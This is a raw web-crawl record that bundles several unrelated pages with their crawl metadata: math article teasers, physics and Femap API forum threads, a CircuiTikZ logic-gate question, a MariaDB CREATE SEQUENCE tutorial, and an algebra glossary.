Mathematics, Number system consists of all types of numbers which is used to perform various calculations. ...\n\n##### Cos 60 Degrees\n\nIn trigonometry, Sine, Cosine and Tangent are the three major or primary ratios, which are used to find ...\n\n##### Scalene Triangle\n\nScalene Triangle is one of the types of triangles which is mentioned in geometry. We are going to discuss ...\n\n##### Mutually Exclusive Events\n\nIn probability theory, two events are said to be mutually exclusive if they cannot occur at the same ...\n\n##### Algebra as Patterns\n\nIf you think of Mathematics as a language, then Algebra would be that part of the language which describes ...\n\n##### Cosine Function\n\nCos function (or cosine function) in a triangle is the ratio of the adjacent side to that of the hypotenuse. ...\n\n##### Scatter Plot\n\nScatter plots are the graphs that present the relationship between two variables in a data-set. It represents ...\n\n##### Multiplying Fractions\n\nMultiplying fractions is as simple as multiplying any numbers in the number systems. A fraction represents ...\n\n##### Algebra: Expressions and Equations\n\nMathematics is known as “Queen of Science”. We use concepts of mathematics everywhere, every day, ...\n\n##### Counting Numbers\n\nAll the natural numbers are called counting numbers. These numbers are always positive like 1,2,3,4,5,6,…… ...\n\n##### Sec 60\n\nIn this article, let us discuss in detail about the value for sec 60 degrees and how the values are derived ...\n\n##### Multiplication Tricks\n\nMultiplication tricks are required to calculate long and difficult multiplication problems. For single ...\n\n##### Algebraic Equations\n\nWhat are Algebraic Equations? An algebraic equation can be defined as a mathematical statement in which ...\n\n##### Cross Multiplication - Pair of Linear Equations in Two Variables\n\nIn general, a pair of linear equations in two variables can be represented as $a_1 ~x~+~b_1~y~+~c_1$ ...\n\n##### Secant of a Circle\n\nTo learn about the Secant of a circle, let’s recall what a circle is. A circle is a closed loop. In ...\n\n##### Multiplication Rule of Probability\n\nFor two events A and B associated with a sample space $S$, the set $A∩B$ denotes the events in ...\n\n##### Algebraic Identities\n\nThe algebraic equations which are true for all values of variables in them are called algebraic identities. ...\n\n##### Cube\n\nCube is a solid three-dimensional figure, which has 6 square faces or sides. We will discuss here its ...\n\n##### Second Order Derivative\n\nFor understanding second order derivative, let us step back a bit and understand what a first derivative ...\n\n##### Multiplication of Fractions\n\nA fraction represents a part of whole. For example, it tells how many slices of a pizza left or eaten ..."
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https://www.physicsforums.com/threads/stationary-states-of-free-particle.145314/ | [
"# Stationary states of free particle\n\nThe problem is to obtain the stationary states for a free particle in three dimensions by separating the variables in Schrödinger's equation.\n\nSo take\n\n$$\\psi(\\mathbf{r},t) = \\psi_1(x) \\psi_2(y) \\psi_3(z) \\phi(t)$$\n\nand substitute it into the time-dependent Schrödinger equation. For the stationary states set U=0 and obtain\n\n$$\\frac{-\\hbar^2}{2m} \\nabla^2 \\psi(\\mathbf{r},t) = i\\hbar \\frac{\\partial \\psi(\\mathbf{r},t)}{\\partial t}$$\n\nThen divide by the wavefunction, and I get\n\n$$i\\hbar \\frac{\\partial \\phi(t)}{\\partial t} = \\frac{-\\hbar^2}{2m} \\left( \\frac{\\partial^2 \\psi_1}{\\partial x^2} + \\frac{\\partial^2 \\psi_2}{\\partial y^2} + \\frac{\\partial^2 \\psi_3}{\\partial z^2} )\\right$$\n\nI know that each one of the unknown functions must make a separate equation, but I don't know what to solve for without energy. For the time-independent equation they will all essentially be infinite square wells, but I don't know what to do with the time dependency.\n\nnrqed\nHomework Helper\nGold Member\nThe problem is to obtain the stationary states for a free particle in three dimensions by separating the variables in Schrödinger's equation.\n\nSo take\n\n$$\\psi(\\mathbf{r},t) = \\psi_1(x) \\psi_2(y) \\psi_3(z) \\phi(t)$$\n\nand substitute it into the time-dependent Schrödinger equation. For the stationary states set U=0 and obtain\n\n$$\\frac{-\\hbar^2}{2m} \\nabla^2 \\psi(\\mathbf{r},t) = i\\hbar \\frac{\\partial \\psi(\\mathbf{r},t)}{\\partial t}$$\n\nThen divide by the wavefunction, and I get\n\n$$i\\hbar \\frac{\\partial \\phi(t)}{\\partial t} = \\frac{-\\hbar^2}{2m} \\left( \\frac{\\partial^2 \\psi_1}{\\partial x^2} + \\frac{\\partial^2 \\psi_2}{\\partial y^2} + \\frac{\\partial^2 \\psi_3}{\\partial z^2} )\\right$$\n\nI know that each one of the unknown functions must make a separate equation, but I don't know what to solve for without energy. For the time-independent equation they will all essentially be infinite square wells, but I don't know what to do with the time dependency.\n\nOops. A correction. I had no noticed that you had put in the wavefunction and then divided by it.\n\nOk, so at first you should get\n\n$$i\\hbar \\psi_1 \\psi_2 \\psi_3 \\frac{\\partial \\phi(t)}{\\partial t} = \\frac{-\\hbar^2}{2m} \\left( \\phi \\psi_1 \\psi_3 \\frac{\\partial^2 \\psi_1}{\\partial x^2} +\\phi \\psi_1 \\psi_3 \\frac{\\partial^2 \\psi_2}{\\partial y^2} + \\phi \\psi_1 \\psi_2 \\frac{\\partial^2 \\psi_3}{\\partial z^2} )\\right$$\n\nThen the next step is to divide everything by $\\phi \\psi_1 \\psi_2 \\psi_3$ and then you should get (instead of what you wrote):\n\n$$i\\hbar {1 \\over \\phi} \\frac{\\partial \\phi(t)}{\\partial t} = \\frac{-\\hbar^2}{2m} \\left( {1 \\over \\psi_1} \\frac{\\partial^2 \\psi_1}{\\partial x^2} +{ 1 \\over \\psi_2} \\frac{\\partial^2 \\psi_2}{\\partial y^2} + {1 \\over \\psi_3} \\frac{\\partial^2 \\psi_3}{\\partial z^2} )\\right$$\nand then to use the usual argument of separation of variables to show that $\\phi(t)$ obeys\n[tex] i \\hbar {\\partial \\phi(t) \\over \\partial t} = E \\phi(t) [/itex] where E is the constant of separation. So $\\phi(t) = A e^{-iE t / \\hbar}$.\n\nThen you go on to separate the equations in x, y and z. You end up with three separate 1-dimensional Schrodinger equations ).\n\nHope this helps.\n\nPatrick\n\nLast edited:"
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https://community.plm.automation.siemens.com/t5/CAE-Simulation-Femap-Forum/API-femap-feMeasureMeshMassProp/td-p/314020 | [
"Cancel\nShowing results for\nSearch instead for\nDid you mean:\n\n# API femap.feMeasureMeshMassProp",
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"Gears Phenom\n\nHello,\n\ni am trying to use femap.feMeasureMeshMassPro but it does work. It says problems with the types. Does anybody now why? I tried to use also \"variant\" instead of \"array double type\"\n\nCsys=3\n\nDim leng, Area, volume, structMass, nonstructMass, totalMass As Double\n\nDim structCG(2) As Double\nDim nonstructCG(2) As Double\nDim totalCG(2) As Double\nDim inertia(5) As Double\nDim inertiaCG(5) As Double\n\nrc = femap.feMeasureMeshMassProp(-1, 3, False, False, leng, Area, volume, structMass, nonstructMass, totalMass, structCG, nonstructCG, totalCG, inertia, inertiaCG)\n\n6 REPLIES 6\n\n# Re: API femap.feMeasureMeshMassProp",
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"Siemens Phenom\n\nThere are several issues with the code below. The first is one that always gets me also since I don't do most of my coding in Basic. When you say...\n\nDim leng, Area, volume, structMass, nonstructMass, totalMass As Double\n\nOnly totalMass is a Double, the others are Variants. To make them all double you either need to split them on multiple Dim statements or say\n\nDim leng As Double, volume As Double, structMass As Double... etc\n\nI know this seems like extra typing for nothing but unfortunately that is the correct Basic syntax.\n\nThe second issue is the one you already mentioned... all of the array types need to simply be Variants. So\n\nDim structCG As Variant\n\nDim nonstructCG as Variant\n\netc...\n\nBecause of OLE/COM limitations Variants should always be used for Array parameters to methods. The only exception to that is if you are coding in the FEMAP API Window you can get away with using Dim'd Arrays instead of Variants for input arguments... Variants are still always required for arguments that are \"output\"\n\nHope this helps.\n\n# Re: API femap.feMeasureMeshMassProp",
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"Gears Phenom\n\nthanks for the answer. I will do it as you have explained it\n\n# Re: API femap.feMeasureMeshMassProp",
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"Legend\n\nHi,\n\nHere you are an example of how to declare the femap.feMeasureMeshMassProp objects:\n\nDim csysID As Long\nDim printResults As Boolean\nDim printDetails As Boolean\nDim longueur As Double\nDim area As Double\nDim volume As Double\nDim structmass As Double\nDim nonstructmass As Double\nDim totalmass As Double\nDim structCG As Variant\nDim nonstructCG As Variant\nDim totalCG As Variant\nDim inertia As Variant\nDim inertiacG As Variant\n\nprintResults = False\nprintDetails = False\ncsysID = 0\n\nApp.feMeasureMeshMassProp(ElemSet.ID, csysID, printResults , printDetails , longueur, area, volume, structmass, nonstructmass, totalmass, structCG, nonstructCG, totalCG, inertia, inertiacG)\n\nSeifeddine Naffoussi\nSafeMecha Stress Engineering\n\n# Re: API femap.feMeasureMeshMassProp",
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"Gears Phenom\n\nThanks again for the help. It works\n\n# Re: API femap.feMeasureMeshMassProp",
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"Creator\n\nHi,\n\nI have a similar problem, followed all steps for fe.measuremeshmassprop, still it says :\n\nAPI Error (Line 31): (10091) ActiveX Automation: no such property or method\n\nMy program is as follows:\n\ncould any one please help.\n\nThe HTML Clipboard\n\n```Sub Main\nDim App As femap.model\nSet App = feFemap()\n\n'Dim App As Object\n\nDim tmp, tmp2, a As Integer\nDim el, elset As Object\nDim cs As Variant\nDim lenth As Double\nDim area As Double\nDim structMass As Double\nDim nonstructMass As Double\nDim totalMass As Double\nDim structCG As Variant\nDim nonstructCG As Variant\nDim totalCG As Variant\nDim Inertia As Variant\nDim inertiaCG As Variant\n\nDim tmp1 As Integer\n\ncs = Array(0, 0, 0)\n'Set App = GetObject(, \"femap.model\")\n\nSet el = App.feElem\nSet elset = App.feSet()\ntmp = elset.AddAll(FT_ELEM)\nMsgBox (elset.Count)\n\nApp.feMeasureMeshMassProp(elset.setID, 0, False, False, lenth, area, volume, structMass, nonstructMass, totalMass, structCG, nonstructCG, totalCG, Inertia, inertiaCG)\n\nEnd Sub```\n\n# Re: API femap.feMeasureMeshMassProp",
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"Gears Phenom\n\nHello Sarnath,\n\nTry this code, I think it's work:\n\n```Sub Main\nDim App As femap.model\nSet App = feFemap()\n\nDim tmp, tmp2, a As Integer\nDim el, elset As Object\nDim cs As Variant\nDim length As Double\nDim area As Double\nDim volume As Double\nDim structMass As Double\nDim nonstructMass As Double\nDim totalMass As Double\nDim structCG As Variant\nDim nonstructCG As Variant\nDim totalCG As Variant\nDim Inertia As Variant\nDim inertiaCG As Variant\n\nDim tmp1 As Integer\n\ncs = Array(0, 0, 0)\n\nSet el = App.feElem\nSet elset = App.feSet()\ntmp = elset.AddAll(FT_ELEM)\nMsgBox (elset.Count)\n\nApp.feMeasureMeshMassProp(elset.ID, 0, False, False, length, area, volume, structMass, nonstructMass, totalMass, structCG, nonstructCG, totalCG, Inertia, inertiaCG)\nMsgBox (Str(structMass))\n\nEnd Sub```\n\nYou forgot dimensioning variable volume, and I made a small corrections in feMeasureMeshMassProp.\n\nBest regards,\n\nPeter Kaderasz\n\n### Simcenter Femap Version 2019.1 What's New",
null,
""
] | [
null,
"https://siemensplm.i.lithium.com/html/rank_icons/gears-rank.png",
null,
"https://siemensplm.i.lithium.com/html/rank_icons/Phenom.png",
null,
"http://www.plm.automation.siemens.com/favicon.ico",
null,
"https://siemensplm.i.lithium.com/html/rank_icons/Phenom.png",
null,
"https://siemensplm.i.lithium.com/html/rank_icons/gears-rank.png",
null,
"https://siemensplm.i.lithium.com/html/rank_icons/Phenom.png",
null,
"https://siemensplm.i.lithium.com/html/rank_icons/Legend.png",
null,
"https://siemensplm.i.lithium.com/html/rank_icons/gears-rank.png",
null,
"https://siemensplm.i.lithium.com/html/rank_icons/Phenom.png",
null,
"https://siemensplm.i.lithium.com/html/rank_icons/Creator.png",
null,
"https://siemensplm.i.lithium.com/html/rank_icons/gears-rank.png",
null,
"https://siemensplm.i.lithium.com/html/rank_icons/Phenom.png",
null,
"http://community.plm.automation.siemens.com/t5/image/serverpage/image-id/85712i82404D3117EDAC5C",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.71789795,"math_prob":0.71465033,"size":4370,"snap":"2019-35-2019-39","text_gpt3_token_len":1184,"char_repetition_ratio":0.20499313,"word_repetition_ratio":0.27565983,"special_character_ratio":0.23935927,"punctuation_ratio":0.175,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9539486,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26],"im_url_duplicate_count":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-08-25T19:57:14Z\",\"WARC-Record-ID\":\"<urn:uuid:07e95372-e4da-45f2-a474-928021afeb40>\",\"Content-Length\":\"196213\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:482de341-b450-4617-9ab6-fd38d3cec835>\",\"WARC-Concurrent-To\":\"<urn:uuid:a686d218-a3fb-418e-a70c-2f1711ce3302>\",\"WARC-IP-Address\":\"208.74.205.66\",\"WARC-Target-URI\":\"https://community.plm.automation.siemens.com/t5/CAE-Simulation-Femap-Forum/API-femap-feMeasureMeshMassProp/td-p/314020\",\"WARC-Payload-Digest\":\"sha1:IXBMFKT7IOOTHD3HA5MAMLKICXHRPMK3\",\"WARC-Block-Digest\":\"sha1:OQWTTJYGR3MWZCZEVD7FLHYHEZ2KX4DM\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-35/CC-MAIN-2019-35_segments_1566027330800.17_warc_CC-MAIN-20190825194252-20190825220252-00288.warc.gz\"}"} |
https://tex.stackexchange.com/questions/413291/how-can-i-rotate-a-logic-gates-and-clean-up-the-style-with-circuitikz | [
"How can I rotate a logic gates, and clean up the style with CircuiTikz?\n\nI'm just a student trying to learn LaTeX on his own to make homework assignment submissions look a lot better than handwriting! So I've learned just enough to draw these simple logic gates with CircuiTikz, but I am having a hard time learning how to rotate my not gate, and to clean up things like the one NOT gate having the line inside it instead of at the tip, and getting the OR gate's outgoing line extending all the way to the compound statement that I have on the right. I am trying to add a second NOT gate going from \"r\" to the first AND gate (the one connected to \"p\"). I also don't know why the first line \"Chapter 1.2: 42\" is being made to fill the entire line with all that spacing, which I don't want.\n\nHere is the code snippet. Any help would be greatly appreciated!\n\n\\documentclass{minimal}\n\\usepackage{CircuiTikz}\n\\begin{document}\n\\begin{enumerate}\n\\item Chapter 1.2: 42\\linebreak\\linebreak\n\\begin{circuitikz} \\draw\n% Create the gates.\n(3,2) node[and port] (and1) {}\n(5,-1) node[and port] (and2) {}\n(7,1) node[or port] (or1) {}\n(0.5,0.5) node[rotate=90,not port] (not1) {}\n(2,-2) node[not port] (not2) {}\n\n%Create the proprositional variables, and final output.\n(and1.in 1) node[left=2cm](p) {p}\n(and1.in 2) node[below left=2cm](r) {r}\n(r) node[below=2cm](q) {q}\n(or1.out) node[right=0.2cm](answer) {$(p \\land r) \\lor (\\neg r \\land \\neg q)$}\n\n%Feed AND gates to the OR gate.\n(and1.out) -| (or1.in 1)\n(and2.out) -| (or1.in 2)\n\n%Feed not1 to and1.\n(not1.out) -| (and1.in 2)\n\n%Feed p and r to the first AND gate.\n(p) -| (and1.in 1)\n\n%Feed r into and1 via not1.\n(r) -| (not1.in)\n\n%Feed r and q (through NOT gate) to second AND gate.\n(r) -| (and2.in 1)\n(q) -| (not2.in)\n(not2) -| (and2.in 2);\n\\end{circuitikz}\n\\end{enumerate}\n\\end{document}\n\nUpdate\n\nI've figured out how to rotate my gates, but I still can't figure out why one of the NOT gates (named not2) has the line sticking inside it instead of it being connected at the tip. I also would love to learn how to add a dot at the point where the outgoing line from \"r\" splits to indicate that it's splitting.\n\n• Welcome to TeX.SX! Please make your code compilable (if possible), or at least complete it with \\documentclass{...}, the required \\usepackage's, \\begin{document}, and \\end{document}. That may seem tedious to you, but think of the extra work it represents for TeX.SX users willing to give you a hand. Help them help you: remove that one hurdle between you and a solution to your problem. – Phelype Oleinik Feb 1 '18 at 23:04\n• @wwwrk instead of (not2) -| (and2.in 2) use (not2.out) -| (and2.in 2) – sergiokapone Feb 2 '18 at 7:27\n• There are two ways to add dots: \\node[circ] at (...) or \\to[short,*-*]. See pages 33-35 of the manual. – John Kormylo Feb 2 '18 at 15:43\n\n1. Logic gates are nodes in circuitikz. You can use the rotate=<angle> option to rotate any nodes.\n2. You were drawing from not2 instead of not2.out. That's why there was a line inside not gate\n3. A dot can be placed at either end of components with *-* or o-o option.\n\nMWE\n\n\\documentclass{minimal}\n\\usepackage{circuitikz}\n\\begin{document}\n\\begin{circuitikz} \\draw\n% Create the gates.\n(3,2) node[and port] (and1) {}\n(5,-1) node[and port] (and2) {}\n(7,1) node[or port] (or1) {}\n(0.5,0.5) node[rotate=90,not port] (not1) {}\n(2,-2) node[not port] (not2) {}\n\n%Create the proprositional variables, and final output.\n(and1.in 1) node[left=2cm](p) {p}\n(and1.in 2) node[below left=2cm](r) {r}\n(r) node[below=2cm](q) {q}\n(or1.out) node[right=0.2cm](answer) {$(p \\land r) \\lor (\\neg r \\land \\neg q)$}\n\n%Feed AND gates to the OR gate.\n(and1.out) -| (or1.in 1)\n(and2.out) -| (or1.in 2)\n\n%Feed not1 to and1.\n(not1.out) |- (and1.in 2)\n\n%Feed p and r to the first AND gate.\n(p) -| (and1.in 1)\n\n%Feed r into and1 via not1.\n(0.5,-0.5) to[short,*-] (not1.in)\n\n%Feed r and q (through NOT gate) to second AND gate.\n(r) -| (and2.in 1)\n(q) -| (not2.in)\n(not2.out) -| (and2.in 2);\n\\end{circuitikz}\n\\end{document}",
null,
""
] | [
null,
"https://i.stack.imgur.com/IycfG.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8729655,"math_prob":0.90995705,"size":2579,"snap":"2019-43-2019-47","text_gpt3_token_len":832,"char_repetition_ratio":0.106019415,"word_repetition_ratio":0.0,"special_character_ratio":0.3245444,"punctuation_ratio":0.13035715,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9787874,"pos_list":[0,1,2],"im_url_duplicate_count":[null,3,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-10-21T09:38:20Z\",\"WARC-Record-ID\":\"<urn:uuid:2ec38f85-ebc1-4613-ad91-366634b2e592>\",\"Content-Length\":\"144795\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c56c6ef8-e869-4a68-a9f7-699c70148614>\",\"WARC-Concurrent-To\":\"<urn:uuid:b3ad92be-8e8b-4ac9-837d-9dbd3cfbe5b6>\",\"WARC-IP-Address\":\"151.101.193.69\",\"WARC-Target-URI\":\"https://tex.stackexchange.com/questions/413291/how-can-i-rotate-a-logic-gates-and-clean-up-the-style-with-circuitikz\",\"WARC-Payload-Digest\":\"sha1:MMMNQNRUYQWW5ZDAUGIRL4R25UNO5GZ2\",\"WARC-Block-Digest\":\"sha1:CNL5RRBE3DELT475YPW7SCSMGE2QGSA2\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-43/CC-MAIN-2019-43_segments_1570987769323.92_warc_CC-MAIN-20191021093533-20191021121033-00249.warc.gz\"}"} |
https://mariadbtips.com/mariadb-create-sequence/ | [
"# MariaDB Create Sequence + Examples\n\nIn this MariaDB tutorial, we will learn about the “MariaDB Create Sequence” which generates a number automatically. Additionally, we will also cover the following topics.\n\n• MariaDB create sequence if not exists\nContents\n\nIn MariaDB, the new sequence is created using the keyword CREATE SEQUENCE that generates a new number when we call it NEXT VALUE FOR sequence_name.\n\n• It is alternate to AUTO_INCREMENT, but faster than AUTO_INCREMENT because it caches the values.\n• It provides us more control that how numbers should be generated.\n\nThe full syntax is given:\n\n``````CREATE [OR REPLACE] [TEMPORARY] SEQUENCE [IF NOT EXISTS] sequence_name\n[ INCREMENT [ BY | = ] increment ]\n[ MINVALUE [=] minvalue | NO MINVALUE | NOMINVALUE ]\n[ MAXVALUE [=] maxvalue | NO MAXVALUE | NOMAXVALUE ]\n[ START [ WITH | = ] start ]\n[ CACHE [=] cache | NOCACHE ] [ CYCLE | NOCYCLE]\n[table_options]``````\n\nThe argument that can be used with CREATE SEQUENCE is given below:\n\n• INCREMENT: It is used to increment the value by a certain number like 2,3,4 etc.\n• MINVALUE: It is used to set the minimum value for a sequence.\n• MAXVALUE: It is used to set the maximum value for a sequence.\n• START WITH: It is used to set the starting value of the sequence or which value it will generate when we call it the first time.\n• CACHE: It is used to define the number of values that will be cached.\n\nLet’s take an example\n\n``CREATE SEQUENCE United_States START WITH 1 INCREMENT BY 2;``\n• CREATE SEQUENCE: It is the command to create a sequence. The `United_States` is the name of the sequence that we are creating.\n• START WITH: It is used to specify the starting value of the sequence that will be generated as we specified 1.\n• INCREMENT BY: It is used to set the value of increment means how much value should be incremented each time sequence is called. So here we have specified the value of INCREMENT BY 2.\n\nTo call the above sequence in MariaDB, use the below command.\n\n``SELECT NEXT VALUE FOR sequence_name;``\n\nAlso, to get the next value of the sequence, we are using the above command\n\n• NEXT VALUE FOR: This command gives the next value of the sequence.\n• sequence_name: It is the name of sequence that we are calling or that we created before calling it.\n\nNow, let’s execute an example in MariaDB and for this, consider the following query.\n\n``````CREATE SEQUENCE United_States START WITH 1 INCREMENT BY 2;\n\nSELECT NEXT VALUE FOR United_States;``````\n\nAlternate to the above command, we could have also used the below command to get the next value of the sequence.\n\n``SELECT NEXTVAL(name_of_sequence);``\n\nWhere NEXTVAL command is used instead of NEXT VALUE FOR.\n\n``SELECT NEXTVAL(United_States);``\n\nAs we can see from the output of both commands NEXT VALUE FOR and NEXTVAL, we achieved the same result and that is 1. It generates the value 1 because we have set the starting value of the sequence as 1.\n\nIf we run the same command again, then we will get the new value as 3 because the sequence is set to increment the value by 2 each time it is called. Let’s see by running the below command.\n\n``SELECT NEXTVAL(United_States);``\n\nTo show the previous value of the sequence in MariaDB, use the below syntax.\n\n``````SELECT PREVIOUS VALUE FOR name_of_sequence;\nOR\nSELECT LASTVAL(name_of_sequence);``````\n\nWhere,\n\n• PREVIOUS VALUE FOR: It is a command to get the previous value of the sequence.\n• name_of_seuquence: This is the name of the sequence.\n• LASTVAL: It is alternate command for PREVIOUS VALUE FOR.\n``SELECT PREVIOUS VALUE FOR United_States;``\n\nTo view the sequence and its properties in MariaDB, use the below syntax.\n\n``SHOW CREATE SEQUENCE name_of_sequence;``\n\nWhere SHOW CREATE SEQUENCE is the command to view the sequence and provide the name of sequence as name_of_sequence.\n\n``SHOW CREATE SEQUENCE United_States;``\n\nUntil now, we have called the sequence using the SELECT statement. Let’s use the sequence in a table to generate the value for a column.\n\nCreate a new sequence as Country_Seq.\n\n``CREATE SEQUENCE Country_Seq START WITH 1 INCREMENTED BY 1;``\n\nCreate a new table as Countries.\n\n``CREATE TABLE Countries(id INT PRIMARY KEY DEFAULT (NEXT VALUE FOR Country_Seq), country_name VARCHAR(30));``\n\nHere in the above code, we have used the command CREATE TABLE to create a new table as Countries with columns:\n\n• id INT: It is the column of type integer to store the value generated by a sequence and also the column is defined as PRIMARY KEY. The default value of the column will be determined by the command NEXT VALUE FOR Country_Seq.\n• country_name VARCHAR(30): It store the name of country as character till 30 character long.\n\nInsert the following record in a column country_name.\n\n``````INSERT INTO Countries(country_name)VALUES('Canada'),('United Kindom'),('USA');\n\nSELECT * FROM Countries;``````\n\nInserting the three records like `'Canada'`, `'United Kindom'` and `'USA'` into a table Countries.\n\nAs we can see in the above output, we haven’t assigned any value to the column `id` but it has value for each record in a table. This is due to the sequence that we have defined for this column as DEFAULT (NEXT VALUE FOR Country_Seq).\n\nAlso, check: MariaDB Primary Key With Examples\n\nThe DROP SEQUENCE is used to drop the sequence in MariaDB, for dropping the sequence each sequence should have the drop privilege.\n\nThe syntax is given below.\n\n``DROP SEQUENCE (IF EXISTS) name_of_sequence;``\n\nwhere,\n\n• DROP SEQUENCE: It is the command to drop the sequence.\n• IF EXISTS: It is used to prevent the error that occurs when the sequence is dropped which doesn’t exist.\n• name_of_sequence: The name of the sequence that we want to drop.\n\nLet’s take an example by creating a new sequence in MariaDB.\n\n``CREATE SEQUENCE Person_id START WITH 1 INCREMENT BY 1;``\n\nHere, we have created the sequence as `Person_id` and the sequence starts with 1, and each time `Person_id `will be incremented by 1 when the sequence is called.\n\nView the created sequence using the below code.\n\n``SHOW CREATE SEQUENCE Person_id;``\n\nFrom the output, we can see the created sequence as Person_id, Let’s drop this sequence using the below code.\n\n``DROP SEQUENCE IF EXISTS Person_id;``\n\nAfter running the above code, the sequence gets dropped. To verify it, use the same code that we use for viewing the sequence, it will show an error that the sequence doesn’t exist.\n\nIn MariaDB, The ALTER SEQUENCE command is used to modify the parameters of the existing sequence. By altering the sequence we can add or remove the parameters of the sequence.\n\nThe syntax is given below.\n\n``````ALTER SEQUENCE [IF EXISTS] sequence_name\n[ INCREMENT [ BY | = ] increment ]\n[ MINVALUE [=] minvalue | NO MINVALUE | NOMINVALUE ]\n[ MAXVALUE [=] maxvalue | NO MAXVALUE | NOMAXVALUE ]\n[ START [ WITH | = ] start ] [ CACHE [=] cache ] [ [ NO ] CYCLE ]\n[ RESTART [[WITH | =] restart]``````\n\nWhere arguments are:\n\n• ALTER SEQUENCE: It is a command to change the sequence parameters.\n• INCREMENT: It is used to increment the value by a certain number like 2,3,4 etc.\n• MINVALUE: It is used to set the minimum value for a sequence.\n• MAXVALUE: It is used to set the maximum value for a sequence.\n• START WITH: It is used to set the starting value of the sequence or which value it will generate when we call it the first time.\n• CACHE: It is used to define the number of values that will be cached.\n\nCreate a new sequence using the below code.\n\n``````CREATE SEQUENCE Emp_Seq START WITH 1 INCREMENT BY 1;\n\nSELECT NEXT VALUE FOR Emp_Seq;``````\n\nHere, we have created the sequence as Emp_Seq, which starts with 1 and, is incremented by 1. Then called it using the NEXT VALUE FOR Emp_Seq.\n\nNow alter the INCREMENT parameters of this sequence from 1 to 2 which means Emp_Seq will increment by 2 each time.\n\n``ALTER SEQUENCE Emp_Seq INCREMENT 2;``\n\nwhere,\n\n• ALTER SEQUENCE: It is the command to modify the existing sequence.\n• Emp_Seq: This is the name of the sequence that we are modifying.\n• INCREMENT: It is parameter or argument that is modified, here we have specified the value as 2.\n\nCheck the changes by typing the below code.\n\n``SHOW CREATE SEQUENCE Emp_Seq;``\n\nHere is the output of the above example.\n\n## MariaDB create sequence if not exists\n\nAs we already know how to create a sequence in MariaDB directly, here we will use one of the options IF NOT EXISTS while creating the sequence. This option checks for an already existing sequence of the same name that we are going to create.\n\nif the same name of a sequence exists, then it doesn’t create the new one.\n\nLet’s check with an example.\n\nCreate a new sequence as Customer_id by typing the code given below.\n\n``CREATE SEQUENCE Customer_id START WITH 1 INCREMENT BY 1;``\n• CREATE SEQUENCE: It is the command to create a sequence. The `Customer_id` is the name of the sequence that we are creating.\n• START WITH: It is used to specify the starting value of the sequence that will be generated as we specified 1.\n• INCREMENT BY: It is used to set the value of increment means how much value should be incremented each time sequence is called. So here we have specified the value of INCREMENT BY 1.\n\nView the created sequence using the below code.\n\n``SHOW CREATE SEQUENCE Customer_id;``\n\nAs we can see from the output, we have successfully created the sequence as `Customer_id`.\n\nNow create the same sequence with parameters IF NOT EXISTS by typing the below code.\n\n``CREATE SEQUENCE IF NOT EXISTS Customer_id START WITH 1 INCREMENT BY 1;``\n\nAs soon as, we run the above code, it shows a warning like ‘Customer_id sequence already exists."
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.83117294,"math_prob":0.91930234,"size":10550,"snap":"2022-27-2022-33","text_gpt3_token_len":2423,"char_repetition_ratio":0.1994121,"word_repetition_ratio":0.28069228,"special_character_ratio":0.22445497,"punctuation_ratio":0.108816124,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9612492,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-08-17T00:42:21Z\",\"WARC-Record-ID\":\"<urn:uuid:361da089-8227-4340-8b72-f3660f0d418e>\",\"Content-Length\":\"84556\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:b8da36b8-c41a-4ed3-9f69-b9b44c0971e6>\",\"WARC-Concurrent-To\":\"<urn:uuid:61e4f384-c5cb-425d-bdef-6a617519f5fe>\",\"WARC-IP-Address\":\"172.67.169.193\",\"WARC-Target-URI\":\"https://mariadbtips.com/mariadb-create-sequence/\",\"WARC-Payload-Digest\":\"sha1:SLJPPIS5DSQUAWALYJFKXMB2VMPK3ULF\",\"WARC-Block-Digest\":\"sha1:47OU5YZGMLSRO35QMMLAFL6K2SQDEXWG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-33/CC-MAIN-2022-33_segments_1659882572833.78_warc_CC-MAIN-20220817001643-20220817031643-00790.warc.gz\"}"} |
https://allinonehomeschool.com/key-terms-functions/ | [
"# Key Terms Functions\n\n• Arithmetic Sequence – a list of numbers with a common difference\n• Absolute Value- The distance a number is from zero on the number line. Examples: |-4 |= 4 and |3| = 3\n• Additive Inverse – Two numbers that when added together equal 0. Example, 3.2 and -3.2\n• Algebraic Expression – A mathematical phrase involving at least one variable. Expressions can contain numbers and operation symbols.\n• Coefficient – a number that is multiplied by the variable\n• Common Difference- the amount each number in a list of numbers increases or decreases by\n• Equation – A mathematical sentence that contains an equal sign.\n• Evaluate an Algebraic Expression – To perform operations to obtain a single number or value.\n• Inequality – A mathematical sentence that contains the symbols >, <, ≥, or ≤.\n• Inverse Operation – Pairs of operations that undo each other. Examples: Addition and subtraction are inverse operations and multiplication and division are inverse operations.\n• Like Terms – Monomials that have the same variable raised to the same power. In other words, only coefficients of terms can be different.\n• Linear Equation in One Variable – an equation that can be written in the form ax + b = c where a, b, and c are real numbers and a ≠ 0\n• Relation – a set of ordered pairs.\n• Solution – the value or values of a variable that make an equation a true statement\n• Solve – Identify the value that when substituted for the variable makes the equation a true statement.\n• Variable – A letter or symbol used to represent a number.\n\n(source)"
] | [
